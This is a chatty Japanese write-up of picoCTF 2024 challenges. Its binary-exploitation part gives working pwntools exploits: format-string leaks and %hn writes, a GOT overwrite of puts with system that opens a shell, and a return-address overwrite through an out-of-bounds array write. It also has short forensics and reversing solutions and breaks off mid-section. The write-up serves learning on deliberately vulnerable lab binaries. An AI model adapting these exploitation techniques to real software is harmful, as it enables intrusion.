picoCTF 2024に参加したんだぜ Writeup!

picoCTF 2024に、チーム「3akuma3a3ao3a3aba3a3ake3a3akuma3a」で参加しました!解いた問題のWriteupです!Binary Exploitを担当したので(理由になってなさすぎ!pwn以外はそこまでわからないからです!)、Binary Exploitを重点的に、他は軽く書きます!
flagに乱数っぽいものが含まれてる場合ありますよね!映していいのかわからず、とりあえず隠しておきます!ウワァ!
標準入力の強調、できてません!ごめんなさい!!!!!
一部、表示を変更しています!(PEDAの出力を省略したりなど)

Binary Exploitation

チームのみなさんに半分ぐらい解いていだたけてしまい、ウワーーーーー!ぼくっていらないのかも!!!!!になりましたが!
format stringの1から3とbabygame03が解けたので、「フフン、やっぱりぼくっていらなくなかったネ」になりました!フフン 全完はできませんでした ホホホ...
(チームのみなさんへ ↑スルーしてください↑↑ ぼくより)

100 format string 1

ざっくり!:fsaでflagを読み取ります!スタック上の特定の場所を直接指定するといい感じです!

secret-menu-item-1.txtは alice 、secret-menu-item-2.txtは bob としています!

バイナリの概要です↓

$ file format-string-1
format-string-1: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=62bc37ea6fa41f79dc756cc63ece93d8c5499e89, for GNU/Linux 3.2.0, not stripped
$ checksec format-string-1
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

実行してみます!

$ ./format-string-1
Give me your order and I'll read it back to you:
AAAA
Here's your order: AAAA
Bye!

アアアアBye!

flag.txtがflag変数に格納されているのですが、それを出力する処理は実装されていません!ですが!
36行目に printf(buf);fsbがあります!これを使えば出力させれそうです!やったー!
GDBでprintf(buf)直前のスタックを表示してみます

gdb-peda$ b *main+305
gdb-peda$ r
Give me your order and I'll read it back to you:
AAAA
gdb-peda$ stack 10
0000| 0x7fffffffdfe0 --> 0xa626f62 ('bob\n')
0008| 0x7fffffffdfe8 --> 0x0 
0016| 0x7fffffffdff0 --> 0x7ffff7c07e60 --> 0xf001200000b76 
0024| 0x7fffffffdff8 --> 0x3055e4 
0032| 0x7fffffffe000 --> 0x7fffffffe140 --> 0x7ffff7fc3908 --> 0xd00120000000e 
0040| 0x7fffffffe008 --> 0x7ffff7c1bf7a ("_dl_audit_preinit")
0048| 0x7fffffffe010 --> 0x7ffff7fbb4d0 --> 0x7ffff7ffe5a0 --> 0x7ffff7fbb690 --> 0x7ffff7ffe2e0 --> 0x0 
0056| 0x7fffffffe018 --> 0x7fffffffe0a0 --> 0x41414141 ('AAAA')
0064| 0x7fffffffe020 ("picoCTF{test}\n")
0072| 0x7fffffffe028 --> 0xa7d74736574 ('test}\n')

うおおお9番目にあります!64bitだと第5引数まではレジスタを使うため、5 + 9 = 14 で第14引数という扱いになるとわかります! 第14引数の8バイトを16進数として指定する書式文字列は "%14$lx" です! !!!!
試してみます!

$ echo '%14$lx' | ./format-string-1 
Give me your order and I'll read it back to you:
Here's your order: 7b4654436f636970
Bye!

7b4654436f636970 をASCIIとして文字列に直してみると、{FTCocip となります!これをもとに、exploitコードを書きました!

from pwn import *

# %14$016lx,%15$016lx,%16$016lx... というペイロードを作る
# 今回、char flag[64] であることから、64バイト分 = lxを8回分表示すればOKですので、forを8回繰り返しています!
# 8バイトは16進数で16文字なので、016で0埋めの右詰め16桁とすることができます!書式文字列便利!むずい!
payload = b""
for i in range(8):
    payload += "%{}$016lx,".format(i+14).encode()


address = '''hoge''' # ご自身の環境に合わせて変えてください!
port    = '''fuga''' # ご自身の環境に合わせて変えてください!2
io = remote(address, port)

io.recvuntil(b"Give me your order and I'll read it back to you:\n")
io.sendline(payload)
io.recvuntil(b"Here's your order: ")

# ペイロードの出力結果をカンマで分割し、リストにします! 末尾の改行だけの要素はついでに取り除いちゃいます!
leak = io.recvline().decode().split(",")[:-1]

# ASCII・リトルエンディアンとして復元です!
raw_flag = ""
for i in leak:
    tmp = ""
    for j in range(0, len(i), 2):
        tmp += chr(int(i[j:j+2], 16))
    raw_flag += tmp[::-1]

print(raw_flag[:raw_flag.find("}")+1]) # "}" まで出力
$ python exploit.py
[+] Opening connection to hoge on port fuga: Done
picoCTF{4n1m41_57y13_4x4_f14g_/*乱数*/} 
[*] Closed connection to hoge port fuga

picoCTF{4n1m41_57y13_4x4_f14g_/乱数/}

200 format string 2

ざっくり!:fsaでsusを書き換えます!.dataがランダマイズされていないので、リークの必要なくアドレスを指定できます!

↓バイナリの概要です

$ file vuln
vuln: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=dfe923d97df1df729249ff21202d10ad15d45f4c, for GNU/Linux 3.2.0, not stripped
$ checksec vuln
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

実行してみます!

18 if (sus == 0x67616c66)
が満たされていれば、flagを出力してくれるようです!ですが、susに書き込む処理は実装されていません...トホホ あれ!
14 printf(buf);
がありますね?!うれしさ 18行目の判定より先に攻撃できます! かの有名な書式文字列、n 様を使うとき! n様の詳しい説明は、format string 1のHintsの1のPDFの3.4(さんのよん)の方を("の"ストリーク切れ NO…)見ていただけると、わかりやすいかと___
ちなみにちなみに、0x67616c66を文字列にすると "galf" です!こちらのほうがわかりやすい気がするので、こちらの表記も使わせてください!(エンディアンでわかりにくいかも!後ろの方にちょっと書いときます!(偉偉い))
susはグローバル変数で、かつ初期化されているので、.dataに存在します!.dataセクションって書いても大丈夫ですか...?これ データセクションだとちょっと多義性があり .dataセクションって書かせてください!やっぱり.dataでいいです(え?)
PIEがオフのとき、.dataはランダマイズされないです なぜ...?←あとで調べる ,
objdumpで.dataを調べます!

$ objdump -d -M intel -j .data vuln | grep sus
0000000000404060 <sus>:
  404060:   73 75 73 21                                         sus!

susのアドレスは0x404060のようですね!くらえーーーーっ!🍡!🍡!🍡!🍡!(三色団子は何個あっても三色団子🍡 おお←お団子のことを呼び捨てしちゃった "むくい" です)
さて!0x404060のあるアドレスをポインタとして指定したいところですが...?

gdb-peda$ searchmem 0x404060
Searching for '0x404060' in: None ranges
Not found

見つかりません!そんな ここで、何でわざわざそんな無駄なことやってるんだ...になった方、ごめんなさい。グオー...

あのですね、入力中に0x404060を盛り込んじゃえばいいです。そしてそれをポインタとして使えばいいです。ぼくはこれになかなか気づかず、でも!おかげでいろいろ知れたのでよかったです。🎃🌸
最終的に0x404060を0x67616c66("galf")にしたいのですが、%nでこれを書き込むには、すこし工夫が必要です なぜなら、0x67616c66(≒2*109)文字出力されるのを待つのは、ちょっと、大変ですよね それに、問題サーバーの設定やネットワークのあれこれ(あれこれってなんですか?!?!?!)によってそもそも途中で停止してしまうかもしれません。でも!0x404060に "lf" を、0x404062に "ga" を、としても!susは "galf" となりますね!

format string 2 - Fig.1 メモリ書き換えのイメージ

0x6c66("lf")(=27750)文字なら、だいたい(かなりだいたい)1/105です!2*104文字の出力ならすぐに終わります!(1文字ずつにしてもいいのですが、そうするとちょっとペイロードがわかりにくくなると思い今回は2文字ずつにしています!)
まとめると、

  1. 0x6761("ga")文字出力
  2. 0x404062に書き込み
  3. 0x6c66 - 0x6761("lf" - "ga")文字出力
  4. 0x404060に書き込み

という手順を踏むことで、十分高速にsusを "galf" に書き換えることができます。(%nで書き込む値は、それまでに出力した総文字数です!今回、0x6c66を書き込む前に0x6761文字出力しているため、新たに0x6c66 - 0x6761文字出力することで0x6c66を書き込むことができるというわけです!混乱! さらなる混乱!0x6c66を先に書き込んだ場合、0x6761を後に書き込むためには、オーバーフローさせてカウントを戻す必要があります!ଳ←クラゲ〜ଳ ଳ<詳しくは調べてみてね!←クラゲがおっしゃってますクラゲが🐤)
GDBいきます!

gdb-peda$ b *main+95    # printf(buf)直前です!
gdb-peda$ r
You don't have what it takes. Only a true wizard could change my suspicions. What do you have to say?
01234567ABCDEFGH
gdb-peda$ stack 10
0000| 0x7fffffffe070 --> 0x1f7ffdaf0 
0008| 0x7fffffffe078 --> 0x7ffff7fbb4d0 --> 0x7ffff7ffe5a0 --> 0x7ffff7fbb690 --> 0x7ffff7ffe2e0 --> 0x0 
0016| 0x7fffffffe080 --> 0x0 
0024| 0x7fffffffe088 --> 0x7fff00000000 
0032| 0x7fffffffe090 --> 0x7fff00000000 
0040| 0x7fffffffe098 --> 0x7fff00000000 
0048| 0x7fffffffe0a0 --> 0xffffffff 
0056| 0x7fffffffe0a8 --> 0x7fffffffe160 --> 0x1 
0064| 0x7fffffffe0b0 ("01234567ABCDEFGH")
0072| 0x7fffffffe0b8 ("ABCDEFGH")

9番目です!64bitですので、レジスタ分を考慮し、5 + 9 = 14 より第14引数にbufがあるとわかります!
また、今回はアドレスに '\x00' が含まれる(0x0000000000404060 がアドレスの全体です!)ため、書式文字列の後ろにアドレスを置く必要があります(そうしないとprintfが書式文字列に達するより早くreturnしちゃいます!)
では、exploit.pyを作ります!作りました!

from pwn import *

ga = 0x6761
lf = 0x6c66

# ペイロードのポインタ部分以外を作る関数です!繰り返し使います!
# 第何引数なのか不明ですが、2文字の可能性が高そうなので初期値は10にしました!
def init_payload(argnum = 10):
    global ga
    global lf
    payload =  b""
    payload += ("%{}c".format(str(ga))).encode()
    payload += ("%{}$hn".format(str(argnum))).encode()
    payload += ("%{}c".format(str(lf-ga))).encode()
    payload += ("%{}$hn".format(str(argnum + 1))).encode()
    # ペイロードの長さが8の倍数でなかったとき、Aで埋める!(8の倍数になるように)
    if len(payload) % 8 != 0:
        payload += b"A" * (8 - len(payload) % 8)

    return payload

test_payload = init_payload() # アドレスが何番目の引数になるか不明なので、仮のペイロードを作成
payload  = init_payload(14 + (len(test_payload) // 8)) # アドレスが何番目の引数になるか明確なので、仮じゃないペイロードを作成
payload += p64(0x404062)
payload += p64(0x404060)

address = '''hoge''' # ご自身の環境に合わせて変えてください!!
port    = '''fuga''' # ご自身の環境に合わせて変えてください!!2
io = remote(address, port)

io.recvuntil(b"What do you have to say?\n")
io.sendline(payload)
io.recvuntil(b"\x40")
io.recvuntil(b"Here you go...\n")
flag = io.recv().decode()

print(flag)
$ python exploit.py
[+] Opening connection to hoge on port fuga: Done
picoCTF{f0rm47_57r?_f0rm47_m3m_/*乱数*/}
[*] Closed connection to hoge port fuga

picoCTF{f0rm47_57r?f0rm47_m3m/乱数/}

これって echo -e を使うと便利に色々試せるのでおすすめです!ぼくはコンテスト中は echo -e で通しましたぼくは つまりまがいもののexploitコード...?(そうです!)

うおお
0x404060のポインタを作るところで大いに苦戦しました。なぜなら弱いので。わあ!書式文字列が評価されるのってどういうタイミングなんですか?実装を読みますね、でも今はまだ...(読みます!) (saved_rbpをポインタとして0x404060を書き込み、それをポインタとしてsusを書き換えようとしていました!!!!!!!!!!!!!!!!!)

エンディアンと型

intの 0x41424344 とchar *の "abcd" がリトルエンディアンにおいてどう配置されるか見てみます!

void main() {
    int a = 0x41424344;
    char *b = "abcd";
}
$ gcc -no-pie -o kakuniin kakuniin.c 
$ gdb -q kakuniin
gdb-peda$ disas main
Dump of assembler code for function main:
   0x0000000000401106 <+0>:   endbr64 
   0x000000000040110a <+4>:   push   rbp
   0x000000000040110b <+5>:   mov    rbp,rsp
   0x000000000040110e <+8>:   mov    DWORD PTR [rbp-0xc],0x41424344
   0x0000000000401115 <+15>:  lea    rax,[rip+0xee8]        # 0x402004
   0x000000000040111c <+22>:  mov    QWORD PTR [rbp-0x8],rax
   0x0000000000401120 <+26>:  nop
   0x0000000000401121 <+27>:  pop    rbp
   0x0000000000401122 <+28>:  ret    
End of assembler dump.
gdb-peda$ b *main+26
gdb-peda$ r
gdb-peda$ x/wx $rbp-0xc
0x7fffffffe4a4: 0x41424344
gdb-peda$ x/wx 0x402004
0x402004:   0x64636261

intの方はそのままの順番で、char *は逆順になっていますね!単体の変数内はリトルエンディアンでごちゃごちゃにならないっぽい!です!たぶん! リトルエンディアンによっていつもうわーーーーーーーーー!になります!

hintsに従い、pwntoolsで簡単に!❀🌺

pwntoolsでfsaを簡単に実行できます!

from pwn import *

context.arch = "amd64"

address = '''hoge''' # ご自身の環境に合わせて変えてください!!
port    = '''fuga''' # ご自身の環境に合わせて変えてください!!2
io = remote(address, port)

def exploit(payload):
    io.recvuntil(b"What do you have to say?\n")
    io.sendline(payload)
    io.recvuntil(b"\x40")
    io.recvuntil(b"Here you go...\n")

    print(io.recv().decode())
    
    return

fmtstr_object = FmtStr(execute_fmt=exploit, offset=14)
fmtstr_object.write(0x404060, 0x67616c66)
fmtstr_object.execute_writes()

便利!

300 format string 3

ざっくり!:fsaでGOT Overwriteをしてsystem関数を呼び出します!

↓バイナリの概要です↓

$ file format-string-3
format-string-3: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter ./ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=54e1c4048a725df868e9a10dc975a46e8d8e5e92, not stripped
$ checksec format-string-3
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x3ff000)
    RUNPATH:  b'.'

↓libcの概要です↓

$ file libc.so.6 
libc.so.6: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /usr/lib/ld-linux-x86-64.so.2, BuildID[sha1]=8bfe03f6bf9b6a6e2591babd0bbc266837d8f658, for GNU/Linux 4.4.0, stripped
$ checksec libc.so.6
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

pwninitを使うと配布されたlibcを使って実行するELFを出力してくれます!出力先は format-string-3_patched
実行してみると、

$ ./format-string-3_patched
Howdy gamers!
Okay I'll be nice. Here's the address of setvbuf in libc: 0x748dbbb893f0
AAAA
AAAA
/bin/sh

なるほどなるほど、libcのアドレスをリークしてくださっていますね!おまけに "/bin/sh" も出力してくださってる!これは、使えるかも___
ランダマイズされてるとはいえ、libc内のオフセットは一定ですので、setvbufがわかるということは!execveなりsystemなり呼び出せます!もうシェル呼び出しのための関数はゲットできましたね!あとは、引数に "/bin/sh" を渡したいところですが...?

 5 char *normal_string = "/bin/sh";
・
・
・
18 int main() {
・
・
25         fgets(buf, 1024, stdin);
26         printf(buf);
27 
28         puts(normal_string);
・
・
31 }

あ!putsに "/bin/sh" を渡していますね?!しかもその直前にはfsbが!これを使って、puts()の呼び出し先をsystem関数にしてしまえば、system("/bin/sh") ができそうです!
つまり、

mov    rax,QWORD PTR [rip+0x2d59]        ; [rip+0x2d59] <normal_string>
mov    rdi,rax
call   <puts@plt>

というアセンブリ

mov    rax,QWORD PTR [rip+0x2d59]        ; [rip+0x2d59] <normal_string>
mov    rdi,rax
call   <system@plt> ; この部分をこう書き換えたい!

と書き換えたいわけです!しかし、.textは書き換え不可___ ここで終わったのでした。
…え?.........ええ?...............えェッ?!
GOTは書き換えられるんですか?!書き換えられるんです!Partial RELROだから!しかもNo PIEなら!GOTのアドレスはランダムじゃないです!

補足です!:今回、 call <system@plt> と書き換えることはしません!上のアセンブリ例で混乱させてしまったら、ごめんなさい___ このwriteupでは、puts@plt で呼び出すアドレスを、system関数のアドレスに書き換える解法を紹介しています!

みなさん、PLTとGOTをご存知ですか?ぼくはなんと!運良くご存知 です🐫
共有ライブラリを呼び出すときには、動的にリロケートが行われます!呼び出しの手順を、書いちゃいますね!

まず、ELFを実行してから1回目の呼び出しです! 2回目以降とは違うため!です!

  1. PC(プログラムカウンタ)をPLTに移す
  2. PLTからGOTに書き込まれたアドレス(リロケートした後、関数にジャンプする処理)にジャンプ

2回目以降です!

  1. PCをPLTに移す
  2. PLTからGOTに書き込まれたアドレス(関数のアドレス)にジャンプ

あんまり違わないですね!ワァィ!!!
C言語で再現するとこんな感じです!

#include <stdio.h>

void hello();
void hello_relocater();
void hello_plt();

void (*hello_got)() = hello_relocater;

void hello() {
    printf("> hello にいます!\n");
    printf("Hello!\n");
}

/* ここ(relocater)はブラックボックス___ */
void hello_relocater() {
    printf("> hello_relocater にいます!\n");
    hello_got = hello;
    hello();
}

void hello_plt() {
    printf("> hello_plt にいます!\n");
    hello_got();
}

void main() {
    printf("1回目\n");
    hello_plt();
    printf("2回目\n");
    hello_plt();
}
1回目
> hello_plt にいます!
> hello_relocater にいます!
> hello にいます!
Hello!
2回目
> hello_plt にいます!
> hello にいます!
Hello!

これってわかりやすいですか?どうなんだ...(どうなんだ...)
で!あとは(あとはってなんですか?!わからないです!!!!!)、puts@gotをfsbでsystem関数のアドレスに書き換えちゃえばいいですね!
あ!!!bufはprintfの第38引数でした(調べ方はformat string 1, 2のwriteupに書いときました!)!!!
exploitコードです!

from pwn import *

context.arch = "amd64"
chall = ELF("./format-string-3")
libc  = ELF("./libc.so.6")

address = '''hoge''' # ご自身の環境に合わせて変えて下さい!
port    = '''fuga''' # ご自身の環境に合わせて変えて下さい!2
io = remote(address, port)

io.recvuntil(b"libc: ")
setv_address = int(io.recvline()[:-1].decode(), 16)
libc.address = setv_address - libc.symbols["setvbuf"] # setv_addressからlibcのベースアドレスを計算・設定

io.sendline(fmtstr_payload(38, {chall.got["puts"]: libc.symbols["system"]}, write_size="short"))
io.recv()
# fsaの長い表示ってどう捨てればいいんですあ?!?!?!k
io.sendline(b"echo piyo")
io.recvuntil(b"piyo")

# シェル奪取できてるはず!なので!インタラクティブに切り替えます!
io.interactive()
$ python exploit.py
[*] './format-string-3'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x3ff000)
    RUNPATH:  b'.'
[*] './libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to hoge on port fuga: Done
[*] Switching to interactive mode

$ ls
Makefile
artifacts.tar.gz
flag.txt
format-string-3
format-string-3.c
ld-linux-x86-64.so.2
libc.so.6
metadata.json
profile
$ cat flag.txt
picoCTF{G07_G07?_/*乱数*/}

picoCTF{G07_G07?_/乱数/}

イエーイ!!やったー!ほっほーーーーーーーい!コンテスト中、systemのことをすっかり忘れてexecveのためにROPをがんばって考えてましたしばらく!!!!!

400 babygame03

ざっくり!:配列外の書き換えでパラメータとかリターンアドレスとか書き換えます!

バイナリの↓概要

$ file game
game: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=a029dc18edaa968bc97e9c92c73151ae8155edaf, for GNU/Linux 3.2.0, not stripped
$ checksec game
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

実行!おためし

$ ./gameさァ〜〜〜〜て、エンターを、と... ...て...
ん?
…て...
…って...
待って!!!!!
え?!何何何?!?!?!

長い!ので、おために←たいぽ実行しません!おためし すみません!!!!!イイヨーありがとうございます...
えっとですね!move_player中のメモリを調べました!すると、マップの先頭からアドレスが低い方へ51バイト離れたところにリターンアドレスがありました!

babygame03 - Fig.1 メモリのイメージ
move_playerには

// int *[y, x]は擬似のです!!!!!!!!!
void move_player(int *[y, x], char user_inp, int map, undefined4 level) {
・
・
  if (user_inp == 'l') {
    tmp_char = getchar();
    player_tile = (undefined)tmp_char;
  }
・
・
  *(undefined *)(y * 90 + map + x) = player_tile;
・
・
}

という処理(逆コンパイル後、いくらか整えてあります!)があり、これはmap以外も書き換えられますので、リターンアドレスの書き換えができそうです!やった!
さて、リバースエンジニアリングをしてみると、単にwinに飛べばいいわけではないとわかります。第一引数に、5 を指すポインタが指定されていますね。うーむ、これをスタック上に用意するのはなかなか大変そうです!が!

undefined4 main() {
・
・
    if (((y == 29) && (x == 89)) && (level != 4)) {
        /* levelのインクリメントなどごにょごにょ */
    }
・
・
}

の中に処理を移してしまえばよさそうですね!そうすれば、スタックを整えたりが必要なくなります! 勝った___  ところで、

   0x08049927 <+182>:  call   0x8049533 <move_player>
   0x0804992c <+187>: add    esp,0x10
   0x0804992f <+190>: sub    esp,0x4
   0x08049932 <+193>: lea    eax,[ebp-0xaac]
   0x08049938 <+199>: push   eax
   0x08049939 <+200>: lea    eax,[ebp-0xaa8]
   0x0804993f <+206>: push   eax
   0x08049940 <+207>: lea    eax,[ebp-0xa99]
   0x08049946 <+213>: push   eax
   0x08049947 <+214>: call   0x8049453 <print_map>
   0x0804994c <+219>: add    esp,0x10
   0x0804994f <+222>: mov    eax,DWORD PTR [ebp-0xaa8]
   0x08049955 <+228>: cmp    eax,0x1d
   0x08049958 <+231>: jne    0x80499c7 <main+342>
   0x0804995a <+233>: mov    eax,DWORD PTR [ebp-0xaa4]
   0x08049960 <+239>: cmp    eax,0x59
   0x08049963 <+242>: jne    0x80499c7 <main+342>
   0x08049965 <+244>: mov    eax,DWORD PTR [ebp-0xaac]
   0x0804996b <+250>: cmp    eax,0x4
   0x0804996e <+253>: je     0x80499c7 <main+342>
; ↓levelのインクリメントなどごにょごにょ↓
   0x08049970 <+255>: sub    esp,0xc
   0x08049973 <+258>: lea    eax,[ebx-0x1f18]
   0x08049979 <+264>: push   eax
   0x0804997a <+265>: call   0x80490b0 <puts@plt>
   0x0804997f <+270>: add    esp,0x10
   0x08049982 <+273>: add    DWORD PTR [ebp-0xc],0x1
   0x08049986 <+277>: mov    eax,DWORD PTR [ebp-0xaac]
   0x0804998c <+283>: add    eax,0x1
   0x0804998f <+286>: mov    DWORD PTR [ebp-0xaac],eax

move_player直後からlevelインクリメントまでのアセンブリです。+255 から+286 のうち、どこにリターンすればいいのでしょう...?というのは、このアセンブリを元に決定しなければいけません(やった〜〜〜〜!)!なぜなら、espが目まぐるしく変わっているからです スタックフレームが揃っていないと、クラッシュしやすいですよね +187 からのespの遷移がこちらです!

   0x08049927 <+182>:  call   0x8049533 <move_player>
   0x0804992c <+187>: add    esp,0x10                 +0x10   0x10
   0x0804992f <+190>: sub    esp,0x4                  -0x4    0xc
   0x08049938 <+199>: push   eax                      -0x4    0x8
   0x0804993f <+206>: push   eax                      -0x4    0x4
   0x08049946 <+213>: push   eax                      -0x4    0
   0x0804994c <+219>: add    esp,0x10                 +0x10   0x10
; ↓levelのインクリメントなどごにょごにょ↓
   0x08049970 <+255>: sub    esp,0xc                  -0xc    0x4
   0x08049973 <+258>: lea    eax,[ebx-0x1f18]         
   0x08049979 <+264>: push   eax                      -0x4    0
   0x0804997a <+265>: call   0x80490b0 <puts@plt>
   0x0804997f <+270>: add    esp,0x10                 +0x10   0x10
   0x08049982 <+273>: add    DWORD PTR [ebp-0xc],0x1
   0x08049986 <+277>: mov    eax,DWORD PTR [ebp-0xaac]
   0x0804998c <+283>: add    eax,0x1

なるほど!move_player終わりからespの変化量が0で、かつlevelのインクリメントなどごにょごにょの部分なのは、+265 の call puts@plt と +270 の add esp, 0x10 (実行開始時は0です!)ですね! putsは引数を使うため、エラーで止まったりスタックの状態が変わったりするかもです(それに!エピローグでも変わっちゃいそうですよね...)。とすると! +270、0x0804997fに決まりですね!
元のリターンアドレスは0x0804992cで、違いは最下位バイトだけです!

0x0804992c ←元のリターンアドレス
0x0804997f
↑↑↑↑↑↑↑↑↑↑↑
比較用です🦈🌸
比較用でした!

なので、"l\x7f" と入力することで player_title を 0x7f に変更し、その後、y * 90 + x = -51 となるようにすればいいわけです!ここで、できればあんまりメモリの関係ないとこを変更したくないですよね(クラッシュしたら攻撃が失敗してしまうので(攻撃が失敗したとき、悲しむ)) なので、極力 y * 90 + x > 0 となるようにmove_playerしましょう!ちなみに y * 90 + x = 0 だと '#' に当たった判定でゲームオーバーになります!
y * 90 + x = -51
は、x = 39, y = -1 ですね!移動距離は、初期値が(4, 4)ですので |39 - 4| + |-1 - 4| = 35 + 5 = 40!足りますね!ライフ!
そしてlevelが5になりましたら、あとは!winを呼べばいいですね♪もうこれは簡単です!単にスタックの一番上にlevelのポインタがあればいいので、

   0x080499fe <+397>:  sub    esp,0xc
   0x08049a01 <+400>: lea    eax,[ebp-0xaac]
   0x08049a07 <+406>: push   eax
   0x08049a08 <+407>: call   0x80497bc <win>

のところを見ると、&levelのpushはebpを基準としています!ebpはプロローグとエピローグ以外で変わることは基本ないので、もう遷移を確認せずにやっちゃいました!←ワル そして!+400は下位2バイトが0x9a01で、元のリターンアドレスの下位2バイト0x992cから書き換えるには2回書き換えなくては...なかなか大変そうですね...ですが!+397は!0x99fe!0x992cから1回だけ書き換えればOKです!これなら簡単です!うおおおおおありがとうございますかお🤩かお もうwinに入ってしまえばespがどうとか関係ないです!リターン後にクラッシュしても問題なし!そして数行前に書いた理由もあり、sub esp, 0xc しても問題ないので!最後のリターンアドレス書き換えは、これに決まり___


tips:tipsが消えました そんな... 消える前のtips:'.' ←顔文字みたい!


ウオー、まとめると、

  1. "l\x7f" を入力
  2. なるべくy * 90 + x > 0となるルートを通り、(39, -1) に移動
  3. 2をあと3回(合計4回)繰り返し、levelを5にする
  4. "l\xfe" を入力
  5. 2を1回行う

です!ペイロード

"l\x7f"          # リターンアドレスの最下位バイトを0x7fに書き換えるための準備
 +

"d"*35 + "w"*5  #  y * 90 + x > 0 を満たしながら (39, -1) に移動
 ×
 4←横幅揃えるために大文字です!>-^

 +
"l\xfe"         # リターンアドレスの最下位バイトを0xfeに書き換えるための準備
 +
"d"*35 + "w"*5  #  y * 90 + x > 0 を満たしながら (39, -1) に移動

となりますね!exploit.pyです!

from pwn import *

payload  = b""
payload += b"l\x7f"
payload += (b"d"*35 + b"w"*5)*4
payload += b"l\xfe"
payload += b"d"*35 + b"w"*5

address = '''hoge''' # ご自身の環境に合わせて変えて下さい!
port    = '''fuga''' # ご自身の環境に合わせて変えて下さい!2
io = remote(address, port)

io.sendline(payload)
io.recvuntil(b"pico")

print("pico" + io.recv().decode())
$ python exploit.py
[+] Opening connection to hoge on port fuga: Done
picoCTF{gamer_leveluP_/*乱数*/}
[*] Closed connection to hoge port fuga

picoCTF{gamer_leveluP_/乱数/}

(解けませんでした)500 h1gh fr3quency tr0ubles(検索避けのため、一部leet表記しています!効くか?!?!?!)

niコマンドがわかんなくてうおーーーーーーー!ひゃっほーーーーーーーーーい!!!!!!!!! 解けませんでした!(niコマンドがわからなかったせいでは全然ないです!!!) mallocmallocmallocfree フリー フリーフォール ルン♪
みなさん、C言語のコードではなく、アセンブリの通りにデバッグしたい場合は、ni、ですよ、n、ではなく

Forensics

300 endianness-v2

ざっくり!:とりあえずファイル先頭のマジックナンバーがあったはずな部分から何か見つけれないか!→リトルエンディアンのjpegでした

うーむ、マジックナンバーがあったはずの部分を見てみます!

$ xxd -l 16 challengefile 
00000000: e0ff d8ff 464a 1000 0100 4649 0100 0001  ....FJ....FI....

e0 ff d8 ff で調べる(インターネッツで検索の方です!)と、JPEGでした 正しい順番は ff d8 ff e0 なので、とりあえず4バイト区切りのリトルエンディアンと当たりを付け、ソルバを書いてみました!

f = open("challengefile", "rb")
data = f.read()
tmp = b""
for i in range(0, len(data), 4):
    tmp += (data[i:i+4])[::-1]
f.close()

f = open("out.jpg", "wb")
f.write(tmp)
f.close()

うおおjpegとして表示できるようになりました!ラッキー!
picoCTF{cert!f1Ed_iNd!4n_s0rrY_3nDian_/乱数/}

Reverse Engineering

100 packer

バイナリを圧縮するっていう技術があるんですね?!知らなかった(しらなかったので) そのままではあんまり解析できず(逆アセンブルもできない!)、解凍する必要があるみたいです いろいろ調べた(インターネッで検索の方です!@!#)ところ、upxというものが!

$ wget clone https://github.com/upx/upx/releases/download/v4.2.2/upx-4.2.2-amd64_linux.tar.xz
$ tar xvf upx-4.2.2-amd64_linux.tar.xz
$ upx-4.2.2-amd64_linux/upx -d out

これで解凍できました!
GDBでmain内の call 0x4010d0 まで処理を進めてみると、引数にそれっぽい値が!ASCIIとして文字列に変換して、

raw = "7069636f4354467b5539585f556e5034636b314e365f42316e34526933535f/*乱数*/7d"
flag_seg = ""
for i in range(0, len(raw), 2):
    flag_seg += chr(int(raw[i:i+2], 16))
    if i % 16 == 0:
        print(flag_seg, end="")
        flag_seg = ""

print(flag_seg)

こちらがflagです!
picoCTF{U9X_UnP4ck1N6_B1n4Ri3S_/乱数/}

200 FactCheck

GDBで動作確認してたらなんかflag出てきました 想定解なのか...?これがFactCheckで合ってますか!
<main+1490> の実行後、スタックには完成したflagが___というワケ!です!
picoCTF{wELF_d0N3_mate_/乱数/}

300 Classic Crackme 0x100

Ghidraで逆コンパイルしました!変数名つけたりしたのがこちら↓

undefined8 main(void) {
    char buf [64];
    char *ENC_PASS = "mpknnphjngbhgzydttvkahppevhkmpwgdzxsykkokriepfnrdm"

    setvbuf(stdout, (char *)0, 2, 0);
    printf("Enter the secret password: ");

    __isoc99_scanf("%50s", buf);

    size_t slen_epass = strlen((char *)&ENC_PASS);
    int len_epass = (int)slen_epass;
    int tmp;
    for (int i; i < 3; i = i + 1) {
        for (int j = 0; j < len_epass; j = j + 1) {
        uint local_1 = (j % 0xff >> 1 & 0x55) + (j % 0xff & 0x55);
        uint local_2 = ((int)local_1 >> 2 & 0x33) + (0x33 & local_1);
        tmp = ((int)local_2 >> 4 & 0xf) + ((int)buf[j] - (int)'a') + (0xf & local_2);

        buf[j] = 'a' + (char)tmp + (char)(tmp / 0x1a) * -0x1a;
        }
    }

    tmp = memcmp(buf, &ENC_PASS, (long)len_epass);
    if (tmp == 0) {
        printf("SUCCESS! Here is your flag: %s\n", "picoCTF{sample_flag}");
    }
    else {
        puts("FAILED!");
    }

    return 0;
}

3回操作した後のj文字目は元のj文字目と一対一に対応しているとわかったので、全部のjに対してa~zの結果どの文字になるのか!のテーブルを作りました!計算量も大丈夫そうだったので!

